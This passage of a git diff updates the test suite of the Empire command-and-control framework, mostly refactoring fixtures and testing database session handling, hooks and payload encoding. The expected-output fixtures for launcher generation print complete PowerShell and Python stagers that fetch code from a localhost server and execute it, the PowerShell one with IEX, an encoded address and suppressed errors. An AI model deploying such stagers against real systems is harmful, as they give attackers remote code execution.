task.status == AgentTaskStatus.pulled + + +def test_handle_agent_request_db_task_attributes_accessible_after_expunge( + agent_task_service, + agent_communication_service, + agent, + agent_task, + session_local, +): + """DB-backed ORM task attributes (including deferred input_full) must + remain accessible after expunge_all() detaches them from the session. + + _get_queued_agent_tasks loads tasks with include_full_input=True to + eagerly load the deferred input_full column. If that option is ever + removed, accessing input_full on an expunged object raises + DetachedInstanceError — this test catches that regression. + """ + # Reproduce the exact sequence handle_agent_request uses: + # load tasks inside a session, flush, expunge, then access attributes + # outside the session. + with session_local.begin() as db: + tasks = agent_communication_service._get_queued_agent_tasks(db, agent) + assert len(tasks) > 0 + db.flush() + db.expunge_all() + + # These attribute accesses happen in Phase 2 (outside the session). + # If input_full were not eagerly loaded, this would raise + # DetachedInstanceError. + for task in tasks: + assert task.input_full is not None + assert task.task_name is not None + assert task.id is not None + + +def test_handle_agent_request_no_tasks(agent_communication_service, agent): + """When no tasks are queued, handle_agent_request returns None.""" + packet = agent_communication_service.handle_agent_request( + agent, "python", "2c103f2c4ed1e59c0b4e2e01821770fa" + ) + assert packet is None + + +def test_handle_agent_request_releases_session_before_packet_building( + agent_task_service, agent_communication_service, agent, agent_task, monkeypatch +): + """The DB session must be closed before expensive packet building begins. + + Creates a connection pool with only 1 slot and monkeypatches + build_task_packet to try acquiring a second connection. If the session + from handle_agent_request is still held during build_task_packet, the + second acquisition fails with a pool timeout — reproducing the root + cause of the production pool exhaustion bug. + """ + connect_args = {} + if "sqlite" in str(original_engine.url): + connect_args["check_same_thread"] = False + + constrained_engine = create_engine( + original_engine.url, + pool_size=1, + max_overflow=0, + pool_timeout=2, + connect_args=connect_args, + ) + try: + ConstrainedSessionLocal = sessionmaker(bind=constrained_engine) + monkeypatch.setattr( + "empire.server.core.agent_communication_service.SessionLocal", + ConstrainedSessionLocal, + ) + + original_build = packets.build_task_packet + pool_was_available = False + + def build_task_packet_checking_pool(*args, **kwargs): + nonlocal pool_was_available + # If the session is still held, this will time out (pool exhausted) + with ConstrainedSessionLocal.begin() as probe: + probe.execute(text("SELECT 1")) + pool_was_available = True + return original_build(*args, **kwargs) + + monkeypatch.setattr( + packets, "build_task_packet", build_task_packet_checking_pool + ) + + agent_task_service.add_temporary_task(agent, "TASK_SHELL", "echo 'hello'") + + packet = agent_communication_service.handle_agent_request( + agent, "python", "2c103f2c4ed1e59c0b4e2e01821770fa" + ) + + assert packet is not None + assert pool_was_available, "Session was not released before packet building" + finally: + constrained_engine.dispose() + def test__handle_agent_response(): pass @@ -275,7 +548,7 @@ def _test_autorun_task( agent_communication_service.autorun_tasks(db, agent) - tasks, total = agent_task_service.get_tasks(db, agents=[agent]) + tasks, _total = agent_task_service.get_tasks(db, agents=[agent]) assert len(tasks) == 2 # noqa: PLR2004 assert tasks[0].task_name == "TASK_POWERSHELL_CMD_JOB" diff --git a/empire/test/test_agent_task_api.py b/empire/test/test_agent_task_api.py index 9fa0f507a..008c8e0fe 100644 --- a/empire/test/test_agent_task_api.py +++ b/empire/test/test_agent_task_api.py @@ -15,123 +15,54 @@ LanguageEnum, ) from empire.server.utils.module_util import handle_error_message +from empire.test.conftest import make_agent -@pytest.fixture(scope="module", autouse=True) -def agent_low_version(session_local, models, main): +def _get_or_create_agent(session_local, models, main, **kwargs): + """Helper to get-or-create a module-scoped agent.""" + name = kwargs["name"] with session_local.begin() as db: - agent = db.query(models.Agent).filter(models.Agent.session_id == "WEAK").first() + agent = db.query(models.Agent).filter(models.Agent.session_id == name).first() if not agent: - agent = models.Agent( - name="WEAK", - session_id="WEAK", - delay=1, - jitter=0.1, - external_ip="1.1.1.1", - session_key="qwerty", - nonce="nonce", - profile="profile", - kill_date="killDate", - working_hours="workingHours", - lost_limit=60, - listener="http", - language="powershell", - language_version="1", - high_integrity=True, - archived=False, - ) + agent = make_agent(models, **kwargs) db.add(agent) db.add(models.AgentCheckIn(agent_id=agent.session_id)) db.flush() - main.agentcommsv2.agents["WEAK"] = { + main.agentcommsv2.agents[name] = { "sessionKey": agent.session_key, } - session_id = agent.session_id - - return session_id # noqa RET504 - + return agent.session_id -@pytest.fixture(scope="module", autouse=True) -def agent_archived(session_local, models, main): - with session_local.begin() as db: - agent = ( - db.query(models.Agent) - .filter(models.Agent.session_id == "iamarchived") - .first() - ) - if not agent: - agent = models.Agent( - name="iamarchived", - session_id="iamarchived", - delay=1, - jitter=0.1, - external_ip="1.1.1.1", - session_key="qwerty", - nonce="nonce", - profile="profile", - kill_date="killDate", - working_hours="workingHours", - lost_limit=60, - listener="http", - language="powershell", - language_version="1", - high_integrity=True, - archived=True, - ) - db.add(agent) - db.add(models.AgentCheckIn(agent_id=agent.session_id)) - db.flush() - main.agentcommsv2.agents["iamarchived"] = { - "sessionKey": agent.session_key, - } +@pytest.fixture(scope="module") +def agent_low_version(session_local, models, main): + return _get_or_create_agent( + session_local, models, main, name="WEAK", language_version="1" + ) - session_id = agent.session_id - return session_id # noqa RET504 +@pytest.fixture(scope="module") +def agent_archived(session_local, models, main): + return _get_or_create_agent( + session_local, + models, + main, + name="iamarchived", + language_version="1", + archived=True, + ) -@pytest.fixture(scope="module", autouse=True) +@pytest.fixture(scope="module") def agent_low_integrity(session_local, models, main): - with session_local.begin() as db: - agent = ( - db.query(models.Agent).filter(models.Agent.session_id == "WEAK2").first() - ) - if not agent: - agent = models.Agent( - name="WEAK2", - session_id="WEAK2", - delay=1, - jitter=0.1, - external_ip="1.1.1.1", - session_key="qwerty", - nonce="nonce", - profile="profile", - kill_date="killDate", - working_hours="workingHours", - lost_limit=60, - listener="http", - language="powershell", - language_version="5", - high_integrity=False, - archived=False, - ) - db.add(agent) - db.add(models.AgentCheckIn(agent_id=agent.session_id)) - db.flush() - - main.agentcommsv2.agents["WEAK2"] = { - "sessionKey": agent.session_key, - } - - session_id = agent.session_id - - return session_id # noqa RET504 + return _get_or_create_agent( + session_local, models, main, name="WEAK2", high_integrity=False + ) -@pytest.fixture(scope="module", autouse=True) +@pytest.fixture(scope="module") def download(client, admin_auth_header, session_local, models): response = client.post( "/api/v2/downloads", @@ -147,7 +78,7 @@ def download(client, admin_auth_header, session_local, models): return response.json() -@pytest.fixture(scope="module", autouse=True) +@pytest.fixture(scope="module") def bof_download(client, admin_auth_header, session_local, models): response = client.post( "/api/v2/downloads", @@ -191,7 +122,7 @@ def return_handle_error_message(*args, **kwargs): return return_handle_error_message -@pytest.fixture(scope="module", autouse=True) +@pytest.fixture(scope="module") def _module_with_validation_exception(main): module_name = "this_module_has_a_validation_exception" main.modulesv2.modules[module_name] = EmpireModule( @@ -211,7 +142,7 @@ def _module_with_validation_exception(main): del main.modulesv2.modules[module_name] -@pytest.fixture(scope="module", autouse=True) +@pytest.fixture(scope="module") def _module_with_execution_exception(main): module_name = "this_module_has_an_execution_exception" main.modulesv2.modules[module_name] = EmpireModule( @@ -231,7 +162,7 @@ def _module_with_execution_exception(main): del main.modulesv2.modules[module_name] -@pytest.fixture(scope="module", autouse=True) +@pytest.fixture(scope="module") def _module_with_legacy_handle_error_message(main): module_name = "this_module_uses_legacy_handle_error_message" main.modulesv2.modules[module_name] = EmpireModule( @@ -330,6 +261,7 @@ def test_create_task_module(client, admin_auth_header, agent): } +@pytest.mark.slow def test_create_task_module_bof(client, admin_auth_header, agent, bof_download): response = client.post( f"/api/v2/agents/{agent}/tasks/module", @@ -355,6 +287,7 @@ def test_create_task_module_bof(client, admin_auth_header, agent, bof_download): assert tags[0]["label"] == "task:input" +@pytest.mark.slow def test_create_task_module_csharp(client, admin_auth_header, agent): response = client.post( f"/api/v2/agents/{agent}/tasks/module", @@ -563,6 +496,7 @@ def test_create_task_module_ignore_admin_check( assert response.json()["id"] > 0 +@pytest.mark.usefixtures("_module_with_legacy_handle_error_message") def test_create_task_module_validation_exception( client, admin_auth_header, agent_low_integrity ): @@ -583,6 +517,7 @@ def test_create_task_module_validation_exception( ) +@pytest.mark.usefixtures("_module_with_execution_exception") def test_create_task_module_execution_exception( client, admin_auth_header, agent_low_integrity ): @@ -600,6 +535,7 @@ def test_create_task_module_execution_exception( assert response.json()["detail"] == "this_module_has_an_execution_exception" +@pytest.mark.usefixtures("_module_with_execution_exception") def test_create_task_handle_error_message( client, admin_auth_header, agent_low_integrity ): diff --git a/empire/test/test_agents.py b/empire/test/test_agents.py index 101ef166d..750e4ab72 100644 --- a/empire/test/test_agents.py +++ b/empire/test/test_agents.py @@ -1,15 +1,15 @@ import base64 import logging import struct -import time import zlib -from datetime import UTC, datetime +from datetime import UTC, datetime, timedelta from pathlib import Path import pytest from sqlalchemy.exc import IntegrityError from empire.server.common.empire import MainMenu +from empire.server.utils import datetime_util log = logging.getLogger(__name__) @@ -59,7 +59,7 @@ def build_header(self, data, crc): return header + data -def test_stale_expression(empire_config, session_local, models): +def test_stale_expression(empire_config, session_local, models, agents): with session_local.begin() as db: agents = db.query(models.Agent).all() @@ -126,15 +126,16 @@ def test_duplicate_checkin_raises_exception(session_local, models, agent): db.flush() -def test_can_ignore_duplicate_checkins(session_local, models, agent, main): +def test_can_ignore_duplicate_checkins(session_local, models, agent, main, monkeypatch): with session_local.begin() as db: db_agent = ( db.query(models.Agent).filter(models.Agent.session_id == agent).first() ) prev_checkin_count = len(db_agent.checkins.all()) - # Need to ensure that these two checkins are not the same second - # as the original checkin - time.sleep(2) + # Monkeypatch time to be 2 seconds in the future so the checkin + # timestamp differs from the original checkin + future_time = datetime_util.getutcnow() + timedelta(seconds=2) + monkeypatch.setattr(datetime_util, "getutcnow", lambda: future_time) main.agentsv2.update_agent_lastseen(db, db_agent.session_id) main.agentsv2.update_agent_lastseen(db, db_agent.session_id) diff --git a/empire/test/test_async_hook_db_session.py b/empire/test/test_async_hook_db_session.py new file mode 100644 index 000000000..c5ea90631 --- /dev/null +++ b/empire/test/test_async_hook_db_session.py @@ -0,0 +1,238 @@ +"""Tests for async hook DB session handling. + +Async hooks dispatched via loop.create_task() run after the caller's +`with SessionLocal.begin() as db:` block has already exited. Any db.execute() +call inside the hook triggers SQLAlchemy autobegin, re-acquiring a pool +connection with nothing to release it — exhausting the pool under load. +""" + +import asyncio +import contextlib +import logging + +import pytest +import sqlalchemy.exc +from sqlalchemy import create_engine, text +from sqlalchemy.orm import sessionmaker + +import empire.server.core.hooks as hooks_module +from empire.server.core.db.base import engine as original_engine +from empire.server.core.hooks import _run_async_hook +from empire.server.core.hooks import hooks as hooks_instance + +HOOK_NAME = "test_async_hook_db_session" + + +@contextlib.contextmanager +def _registered_hook(event, hook): + hooks_instance.register_hook(event, HOOK_NAME, hook) + try: + yield + finally: + hooks_instance.unregister_hook(HOOK_NAME, event) + + +@pytest.fixture +def constrained_engine(): + connect_args = ( + {"check_same_thread": False} if "sqlite" in str(original_engine.url) else {} + ) + engine = create_engine( + original_engine.url, + pool_size=1, + max_overflow=0, + pool_timeout=1, + connect_args=connect_args, + ) + yield engine + engine.dispose() + + +def test_stale_session_holds_connection_during_slow_hook( + models, agent, session_local, constrained_engine +): + """Direct invocation: a stale session holds its pool connection for the + full duration of a slow await — the production failure mode. + + When an async hook calls db.execute() on a stale (post-commit) session, + SQLAlchemy autobegin re-acquires a connection that nothing will release. + Any concurrent caller trying to get a connection times out. + """ + CS = sessionmaker(bind=constrained_engine) + + with CS.begin() as db: + agent_obj = db.query(models.Agent).filter_by(session_id=agent).first() + assert agent_obj is not None + db.expunge(agent_obj) + + stale_db = CS() + pool_exhausted = False + + async def slow_operation(): + nonlocal pool_exhausted + try: + with CS.begin() as probe: + probe.execute(text("SELECT 1")) + except sqlalchemy.exc.TimeoutError: + pool_exhausted = True + + async def hook_with_slow_io(db, agent): + db.execute(text("SELECT 1")) # autobegin → connection held + await slow_operation() # probe fires while connection is still held + + try: + asyncio.run(hook_with_slow_io(stale_db, agent_obj)) + finally: + stale_db.close() + + assert pool_exhausted, ( + "Pool should be exhausted while the hook is suspended — stale_db " + "holds the connection via autobegin during the slow await." + ) + + +def test_create_task_path_hook_receives_fresh_session( + models, agent, session_local, constrained_engine, monkeypatch +): + """Via run_hooks with a running event loop: the hook receives a fresh + session, not the caller's stale session. + + _run_async_hook must open its own SessionLocal session so the hook never + uses the caller's (potentially stale) session, which would re-acquire a + pool connection with no scoped cleanup. + """ + CS = sessionmaker(bind=constrained_engine) + monkeypatch.setattr(hooks_module, "SessionLocal", CS) + + with CS.begin() as db: + agent_obj = db.query(models.Agent).filter_by(session_id=agent).first() + assert agent_obj is not None + db.expunge(agent_obj) + + hook_session_id = None + caller_session_id = None + + async def _run(): + nonlocal hook_session_id, caller_session_id + + async def _hook(db, agent): + nonlocal hook_session_id + hook_session_id = id(db) + + with _registered_hook(hooks_instance.AFTER_AGENT_CHECKIN_HOOK, _hook): + caller_db = CS() + nonlocal caller_session_id + caller_session_id = id(caller_db) + try: + hooks_instance.run_hooks( + hooks_instance.AFTER_AGENT_CHECKIN_HOOK, caller_db, agent_obj + ) + finally: + caller_db.close() + await asyncio.sleep(0) + await asyncio.sleep(0) + + asyncio.run(_run()) + + assert hook_session_id is not None, "Hook did not run" + assert hook_session_id != caller_session_id, ( + "Hook must receive a fresh session, not the caller's session" + ) + + +def test_asyncio_run_path_releases_connection( + models, agent, session_local, constrained_engine, monkeypatch +): + """Sync context (no running event loop): asyncio.run() path uses a fresh + session and releases its connection before returning. + + When run_hooks is called from a synchronous context, it falls back to + asyncio.run(). The fresh session must be closed before asyncio.run() + returns so the pool is available for subsequent callers. + """ + CS = sessionmaker(bind=constrained_engine) + monkeypatch.setattr(hooks_module, "SessionLocal", CS) + + with CS.begin() as db: + agent_obj = db.query(models.Agent).filter_by(session_id=agent).first() + assert agent_obj is not None + db.expunge(agent_obj) + + async def _async_hook(db, agent): + db.execute(text("SELECT 1")) + + with _registered_hook(hooks_instance.AFTER_AGENT_CHECKIN_HOOK, _async_hook): + caller_db = CS() + try: + hooks_instance.run_hooks( + hooks_instance.AFTER_AGENT_CHECKIN_HOOK, caller_db, agent_obj + ) + finally: + caller_db.close() + + # asyncio.run() blocks until complete — pool should be free now + probe_succeeded = False + try: + with CS.begin() as probe: + probe.execute(text("SELECT 1")) + probe_succeeded = True + except sqlalchemy.exc.TimeoutError: + pass + + assert probe_succeeded, ( + "Pool should be free after asyncio.run() path completes — " + "_run_async_hook must close the fresh session before returning." + ) + + +def test_run_async_hook_without_session_passes_args_unchanged(session_local): + """When args[0] is not a Session, all args are forwarded to the hook unchanged.""" + received = [] + + async def _run(): + async def _hook(x, y): + received.extend([x, y]) + + await _run_async_hook(_hook, "string-arg", 42) + + asyncio.run(_run()) + assert received == ["string-arg", 42] + + +def test_async_hook_exception_is_logged_via_done_callback( + models, agent, session_local, constrained_engine, monkeypatch, caplog +): + """Via create_task path: exceptions from hooks are logged by _log_task_exception. + + Exceptions raised inside loop.create_task() do not propagate to run_hooks' + try/except. The done callback must catch and log them so failures are visible. + """ + CS = sessionmaker(bind=constrained_engine) + monkeypatch.setattr(hooks_module, "SessionLocal", CS) + + with CS.begin() as db: + agent_obj = db.query(models.Agent).filter_by(session_id=agent).first() + assert agent_obj is not None + db.expunge(agent_obj) + + async def _run(): + async def _failing_hook(db, agent): + raise ValueError("hook boom") + + with _registered_hook(hooks_instance.AFTER_AGENT_CHECKIN_HOOK, _failing_hook): + caller_db = CS() + try: + hooks_instance.run_hooks( + hooks_instance.AFTER_AGENT_CHECKIN_HOOK, caller_db, agent_obj + ) + await asyncio.sleep(0) # let the create_task task complete + finally: + caller_db.close() + + with caplog.at_level(logging.ERROR, logger="empire.server.core.hooks"): + asyncio.run(_run()) + + assert any("hook boom" in r.message for r in caplog.records), ( + "Exception message from the async hook should appear in error logs " + "via the _log_task_exception done callback." + ) diff --git a/empire/test/test_bof_packer.py b/empire/test/test_bof_packer.py new file mode 100644 index 000000000..32f463ee5 --- /dev/null +++ b/empire/test/test_bof_packer.py @@ -0,0 +1,256 @@ +import base64 +from binascii import hexlify +from struct import pack + +import pytest + +from empire.server.utils.bof_packer import Packer, process_arguments + + +class TestPackerMethods: + """Tests for individual Packer methods.""" + + def test_size_empty(self): + """Test size property on empty packer.""" + p = Packer() + assert p.size == 0 + + def test_getbuffer_empty(self): + """Test getbuffer with no data returns zero-length header.""" + p = Packer() + assert p.getbuffer() == pack("] prompt") == _expected("[>] prompt", "yellow") + + def test_no_matching_prefix(self): + assert color("plain text") == "plain text" + + def test_case_insensitive(self): + assert color("hello", "RED") == _expected("hello", "red") + + def test_unknown_color(self): + assert color("hello", "purple") == click.style("hello", bold=True) diff --git a/empire/test/test_hooks_internal.py b/empire/test/test_hooks_internal.py index 35d5a8f6d..ad0c16933 100644 --- a/empire/test/test_hooks_internal.py +++ b/empire/test/test_hooks_internal.py @@ -3,6 +3,29 @@ import pytest from empire.server.core.hooks import hooks +from empire.server.core.hooks_internal import _format_table + + +def test_format_table(): + result = _format_table( + ["PID", "ProcessName", "Arch", "UserName", "MemUsage"], + [ + ["1234", "svchost", "x64", "SYSTEM", "15MB"], + ["5678", "explorer.exe", "x64", "Admin", "120MB"], + ["9", "idle", "", "", "0MB"], + ["42", "System", None, None, "1MB"], + ], + ) + + expected = ( + " PID ProcessName Arch UserName MemUsage \n" + "----------------------------------------------\n" + " 1234 svchost x64 SYSTEM 15MB \n" + " 5678 explorer.exe x64 Admin 120MB \n" + " 9 idle 0MB \n" + " 42 System None None 1MB " + ) + assert result == expected @pytest.fixture diff --git a/empire/test/test_listener_generate_launcher.py b/empire/test/test_listener_generate_launcher.py index dcbf930f7..e48fcc0e8 100644 --- a/empire/test/test_listener_generate_launcher.py +++ b/empire/test/test_listener_generate_launcher.py @@ -1,3 +1,4 @@ +from pathlib import Path from textwrap import dedent from unittest.mock import MagicMock, Mock @@ -17,6 +18,7 @@ def _setup_staging_key(session_local, models): def main_menu_mock(models): main_menu = Mock() main_menu.installPath = "" + main_menu.install_path = Path() main_menu.listeners.activeListeners = {} main_menu.listeners.listeners = {} return main_menu @@ -201,49 +203,13 @@ def test_http_malleable_generate_launcher(monkeypatch, main_menu_mock): listener_name="fake_listener", language="python", encode=False ) - # can't control the random characters in the url path, so just removing it from the comparison. - python_launcher_start = python_launcher.find("http://localhost:80/") - python_launcher_end = python_launcher_start + len("http://localhost:80/ckcivvgr/") - python_launcher = ( - python_launcher[:python_launcher_start] + python_launcher[python_launcher_end:] - ) - - expected_python_launcher = _expected_http_malleable_python_launcher() - expected_python_launcher_start = expected_python_launcher.find( - "http://localhost:80/" - ) - expected_python_launcher_end = expected_python_launcher_start + len( - "http://localhost:80/ckcivvgr/" - ) - expected_python_launcher = ( - expected_python_launcher[:expected_python_launcher_start] - + expected_python_launcher[expected_python_launcher_end:] - ) - - assert python_launcher == expected_python_launcher + assert python_launcher == _expected_http_malleable_python_launcher() powershell_launcher = http_malleable_listener.generate_launcher( listener_name="fake_listener", language="powershell", encode=False ) - powershell_launcher_start = powershell_launcher.find(")));$t=") - powershell_launcher_end = powershell_launcher_start + len(")));$t='/fkcriywd/") - powershell_launcher = ( - powershell_launcher[:powershell_launcher_start] - + powershell_launcher[powershell_launcher_end:] - ) - - expected_powershell_launcher = _expected_http_malleable_powershell_launcher() - expected_python_launcher_start = expected_powershell_launcher.find(")));$t=") - expected_python_launcher_end = expected_python_launcher_start + len( - ")));$t='/fkcriywd/" - ) - expected_powershell_launcher = ( - expected_powershell_launcher[:expected_python_launcher_start] - + expected_powershell_launcher[expected_python_launcher_end:] - ) - - assert powershell_launcher == expected_powershell_launcher + assert powershell_launcher == _expected_http_malleable_powershell_launcher() def test_port_forward_pivot_generate_launcher(monkeypatch, main_menu_mock): @@ -369,7 +335,7 @@ def _expected_http_malleable_python_launcher(): o = urllib.request.build_opener(proxy) urllib.request.install_opener(o) vreq=type('vreq',(urllib.request.Request,object),{'get_method':lambda self:self.verb if (hasattr(self,'verb') and self.verb) else urllib.request.Request.get_method(self)}) - req=vreq('http://localhost:80/bcsjngnk/', ) + req=vreq('http://localhost:80/init/', ) req.verb='GET' req.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko') req.add_header('Cookie','session=cm91dGluZyBwYWNrZXQ%3D') @@ -382,7 +348,7 @@ def _expected_http_malleable_python_launcher(): def _expected_http_malleable_powershell_launcher(): - return """$ErrorActionPreference = "SilentlyContinue";$K=[System.Text.Encoding]::ASCII.GetBytes('@3uiSPNG;mz|{5#1tKCHDZ*dFs87~g,}');$wc=New-Object System.Net.WebClient;$ser=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aAB0AHQAcAA6AC8ALwBsAG8AYwBhAGwAaABvAHMAdAA6ADgAMAA=')));$t='/zxxuhptp/';$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;$Script:Proxy = $wc.Proxy;$wc.Headers.Add("User-Agent","Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko");$wc.Headers.Add("Cookie","session=cm91dGluZyBwYWNrZXQ%3D");$data=$wc.DownloadData($ser+$t);IEX ([Text.Encoding]::UTF8.GetString($data))""" + return """$ErrorActionPreference = "SilentlyContinue";$K=[System.Text.Encoding]::ASCII.GetBytes('@3uiSPNG;mz|{5#1tKCHDZ*dFs87~g,}');$wc=New-Object System.Net.WebClient;$ser=$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aAB0AHQAcAA6AC8ALwBsAG8AYwBhAGwAaABvAHMAdAA6ADgAMAA=')));$t='/init/';$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;$Script:Proxy = $wc.Proxy;$wc.Headers.Add("User-Agent","Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko");$wc.Headers.Add("Cookie","session=cm91dGluZyBwYWNrZXQ%3D");$data=$wc.DownloadData($ser+$t);IEX ([Text.Encoding]::UTF8.GetString($data))""" def _fake_malleable_profile(): diff --git a/empire/test/test_listener_util.py b/empire/test/test_listener_util.py new file mode 100644 index 000000000..fb14cc2c1 --- /dev/null +++ b/empire/test/test_listener_util.py @@ -0,0 +1,73 @@ +import pytest + +from empire.server.utils.listener_util import ( + decimals_to_bytes, + ensure_raw_bytes, + generate_random_cipher, + looks_like_decimal_blob, + remove_lines_comments, +) + + +class TestRemoveLinesComments: + def test_strips_comments(self): + result = remove_lines_comments("line1\n# comment\nline2") + assert "line1" in result + assert "line2" in result + assert "# comment" not in result + + def test_empty_input(self): + assert remove_lines_comments("") == "" + + +class TestLooksLikeDecimalBlob: + def test_space_separated_digits(self): + assert looks_like_decimal_blob(b"237 30 211 45") is True + + def test_comma_separated_digits(self): + assert looks_like_decimal_blob(b"1,2,3,4") is True + + def test_binary_data(self): + assert looks_like_decimal_blob(b"\x80\x81\x82") is False + + def test_non_bytes_input(self): + assert looks_like_decimal_blob("not bytes") is False + + def test_no_digits(self): + assert looks_like_decimal_blob(b" ") is False + + +class TestDecimalsToBytes: + def test_space_separated(self): + assert decimals_to_bytes("65 66 67") == b"ABC" + + def test_comma_separated(self): + assert decimals_to_bytes("65,66,67") == b"ABC" + + def test_bytes_input(self): + assert decimals_to_bytes(b"65 66 67") == b"ABC" + + def test_no_integers_raises(self): + with pytest.raises(ValueError, match="No integers"): + decimals_to_bytes(" ") + + def test_out_of_range_raises(self): + with pytest.raises(ValueError, match="Out-of-range"): + decimals_to_bytes("256 300") + + +class TestEnsureRawBytes: + def test_decimal_blob_converted(self): + assert ensure_raw_bytes(b"65 66 67") == b"ABC" + + def test_binary_passthrough(self): + data = b"\x80\x81\x82" + assert ensure_raw_bytes(data) == data + + +class TestGenerateRandomCipher: + def test_contains_known_cipher(self): + result = generate_random_cipher() + parts = result.split(":") + assert len(parts) == 2 # noqa: PLR2004 + assert parts[1] == "ECDHE-RSA-AES256-SHA" diff --git a/empire/test/test_malleable_transformation.py b/empire/test/test_malleable_transformation.py new file mode 100644 index 000000000..91bd18bd1 --- /dev/null +++ b/empire/test/test_malleable_transformation.py @@ -0,0 +1,163 @@ +import os + +from empire.server.common.malleable.transformation import ( + Container, + Terminator, + Transform, +) + + +class TestBase64Transform: + def test_roundtrip(self): + t = Transform(type=Transform.BASE64) + data = b"hello world" + encoded = t.transform(data) + assert encoded != data + assert t.transform_r(encoded) == data + + +class TestAppendTransform: + def test_roundtrip(self): + t = Transform(type=Transform.APPEND, arg="SUFFIX") + data = b"hello" + transformed = t.transform(data) + assert transformed.endswith(b"SUFFIX") + assert t.transform_r(transformed) == data + + +class TestPrependTransform: + def test_roundtrip(self): + t = Transform(type=Transform.PREPEND, arg="PREFIX") + data = b"hello" + transformed = t.transform(data) + assert transformed.startswith(b"PREFIX") + assert t.transform_r(transformed) == data + + +class TestNetbiosTransform: + def test_all_byte_values_roundtrip(self): + t = Transform(type=Transform.NETBIOS) + data = bytes(range(128)) + encoded = t.transform(data) + assert len(encoded) == 2 * len(data) + assert t.transform_r(encoded) == data + + +class TestNetbiosUTransform: + def test_all_byte_values_roundtrip(self): + t = Transform(type=Transform.NETBIOSU) + data = bytes(range(128)) + assert t.transform_r(t.transform(data)) == data + + +class TestMaskTransform: + def test_roundtrip(self): + key = os.urandom(1) + while ord(key) < 1 or ord(key) > 127: # noqa: PLR2004 + key = os.urandom(1) + t = Transform(type=Transform.MASK, arg=key) + data = b"secret data" + assert t.transform_r(t.transform(data)) == data + + def test_xor_with_known_key(self): + t = Transform(type=Transform.MASK, arg=b"\x42") + result = t.transform(b"\x00\x01\x02") + assert result == bytes([0x42, 0x43, 0x40]) + + +class TestContainerChains: + def test_base64_prepend_roundtrip(self): + c = Container() + c.base64() + c.prepend("HEADER:") + data = b"payload" + transformed = c.transform(data) + assert transformed.startswith(b"HEADER:") + assert c.transform_r(transformed) == data + + def test_empty_container_passthrough(self): + c = Container() + data = b"passthrough" + assert c.transform(data) == data + assert c.transform_r(data) == data + + def test_none_data_handled(self): + c = Container() + c.base64() + assert c.transform(None) is not None + + +class TestCodeGeneration: + def test_generate_python_base64(self): + t = Transform(type=Transform.BASE64) + assert "base64" in t.generate_python("data") + + def test_generate_powershell_base64(self): + t = Transform(type=Transform.BASE64) + assert "ToBase64String" in t.generate_powershell("$var") + + def test_generate_python_r_base64(self): + t = Transform(type=Transform.BASE64) + assert "b64decode" in t.generate_python_r("data") + + def test_container_generate_python(self): + c = Container() + c.base64() + c.prepend("prefix") + assert "base64" in c.generate_python("data") + + def test_container_generate_powershell(self): + c = Container() + c.base64() + assert "ToBase64String" in c.generate_powershell("$x") + + +class TestSerialization: + def test_transform_serialize_deserialize(self): + t = Transform(type=Transform.BASE64) + restored = Transform._deserialize(t._serialize()) + assert restored.type == Transform.BASE64 + + def test_transform_append_serialize_deserialize(self): + t = Transform(type=Transform.APPEND, arg="tail") + restored = Transform._deserialize(t._serialize()) + assert restored.type == Transform.APPEND + assert restored.arg == "tail" + + def test_container_serialize_deserialize(self): + c = Container() + c.base64() + c.prepend("HDR") + restored = Container._deserialize(c._serialize()) + assert len(restored.transforms) == 2 # noqa: PLR2004 + assert c.transform(b"test") == restored.transform(b"test") + + def test_terminator_serialize_deserialize(self): + term = Terminator(type=Terminator.HEADER, arg="Cookie") + restored = Terminator._deserialize(term._serialize()) + assert restored.type == Terminator.HEADER + assert restored.arg == "Cookie" + + +class TestTerminators: + def test_print_terminator(self): + c = Container() + c.print_() + assert c.terminator.type == Terminator.PRINT + + def test_header_terminator(self): + c = Container() + c.header("Cookie") + assert c.terminator.type == Terminator.HEADER + assert c.terminator.arg == "Cookie" + + def test_parameter_terminator(self): + c = Container() + c.parameter("id") + assert c.terminator.type == Terminator.PARAMETER + assert c.terminator.arg == "id" + + def test_uriappend_terminator(self): + c = Container() + c.uriappend() + assert c.terminator.type == Terminator.URIAPPEND diff --git a/empire/test/test_module_api.py b/empire/test/test_module_api.py index 1b4b51f1c..718ed3f5b 100644 --- a/empire/test/test_module_api.py +++ b/empire/test/test_module_api.py @@ -1,3 +1,4 @@ +import pytest from starlette import status @@ -62,6 +63,7 @@ def test_get_modules(client, admin_auth_header): assert len(response.json()["records"]) >= min_expected_modules +@pytest.mark.slow def test_get_modules_hide_disabled(client, admin_auth_header): uid = "python_trollsploit_osx_say" @@ -155,6 +157,7 @@ def test_update_modules_bulk(client, admin_auth_header): assert response.status_code == status.HTTP_204_NO_CONTENT +@pytest.mark.slow def test_reset_modules(client, admin_auth_header): initial_response = client.get("/api/v2/modules", headers=admin_auth_header) initial_modules = initial_response.json()["records"] @@ -177,6 +180,7 @@ def test_reset_modules(client, admin_auth_header): assert response.json()["enabled"] is True +@pytest.mark.slow def test_reload_modules(client, admin_auth_header): uid = "python_trollsploit_osx_say" response = client.put( diff --git a/empire/test/test_module_service.py b/empire/test/test_module_service.py index a7e9d4abc..2e7395d1b 100644 --- a/empire/test/test_module_service.py +++ b/empire/test/test_module_service.py @@ -1,3 +1,5 @@ +import base64 +import json from pathlib import Path from unittest.mock import Mock @@ -34,6 +36,9 @@ def module_service(main_menu_mock): return_value=Path("/tmp/compiled_task.exe") ) + # Wire up so custom_generate modules can access modulesv2 via main_menu + main_menu_mock.modulesv2 = module_service + return module_service @@ -168,7 +173,7 @@ def test_execute_module_task_command_csharp_agent_with_missing_csharp_module( "Text": "Hello World", } module_id = "csharp_execution_some_module" - res, err = module_service.execute_module( + _res, err = module_service.execute_module( None, agent_mock, module_id, params, True, True, None ) @@ -426,6 +431,27 @@ def test_execute_module_with_empty_params(module_service, agent_mock): assert "required option missing: Agent" in str(excinfo.value) +def test_handle_save_file_command_with_extension(module_service): + """Test _handle_save_file_command extracts basename from path-like module name.""" + 